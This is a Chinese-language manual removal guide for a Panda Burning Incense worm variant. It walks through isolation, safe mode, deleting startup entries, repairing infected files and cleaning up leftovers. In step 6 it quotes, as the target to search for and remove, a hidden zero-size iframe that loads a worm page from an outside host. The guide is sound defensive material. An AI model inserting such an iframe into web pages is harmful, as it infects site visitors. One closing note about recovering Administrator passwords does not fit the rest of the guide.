熊貓燒香病毒 nvscv32.exe 變種手動清除完整方案 (1/1)

PConline 官方建議清除流程

1. 拔網線：物理隔離，停止橫向擴散與下載載荷。
2. 進入安全模式：開機狂按 F8 → 選「安全模式」。病毒進程未載入，可正常使用工作管理器、註冊表編輯器。
3. 刪除病毒本體：%SystemRoot%\system32\drivers\nvscv32.exe。
4. 清除啟動項：Win+R → msconfig → 「啟動」索引標籤 → 取消 nvscv32.exe 相關項 → 確定重開機。
   或用「超級兔子魔法設定」、「HijackThis」刪除註冊表 Run 鍵值。
5. 專殺工具修復感染檔：下載江民「熊貓燒香專殺」→ 掃描修復被感染 .exe/.scr。**此步必須在第 7 步全盤掃毒之前**，避免可修復檔案被誤刪。
6. 批次清除網頁木馬 iframe：
   代碼 (已混淆) <iframe src=https://www.krvkr.com/worm.htm width=0 height=0></iframe>
   工具：Dreamweaver「尋找並取代」 (跨站點)、BatchTextReplacer 批次替換、Symantec AntiVirus 企業版掃描可同步清除。
7. 全盤掃毒：安裝防毒軟體 (推薦免費卡巴斯基 Active Virus Shield) → 更新病毒碼 → 全盤掃描清除殘留病毒檔。**順序不可顛倒**。
8. 清理殘留檔：搜尋並刪除各磁碟根目錄 autorun.inf、setup.exe、所有 Desktop_.ini。

關鍵圖示說明

• msconfig 啟動頁取消病毒項截圖。
• Dreamweaver 批次替換設定截圖 (搜尋整個站點、正則表達式匹配 iframe)。

注意事項

• NTFS 系統無法用 Win98 開機碟直接操作，需掛載至其他 Win2000/XP/Linux 系統處理。
• 此法同樣可恢復 Administrator 密碼，適用 Win2000 本機/網域帳號。
• 清除後務必安裝防毒軟體並啟用自動更新，修補 MS06-014 等關鍵漏洞，防止再次感染。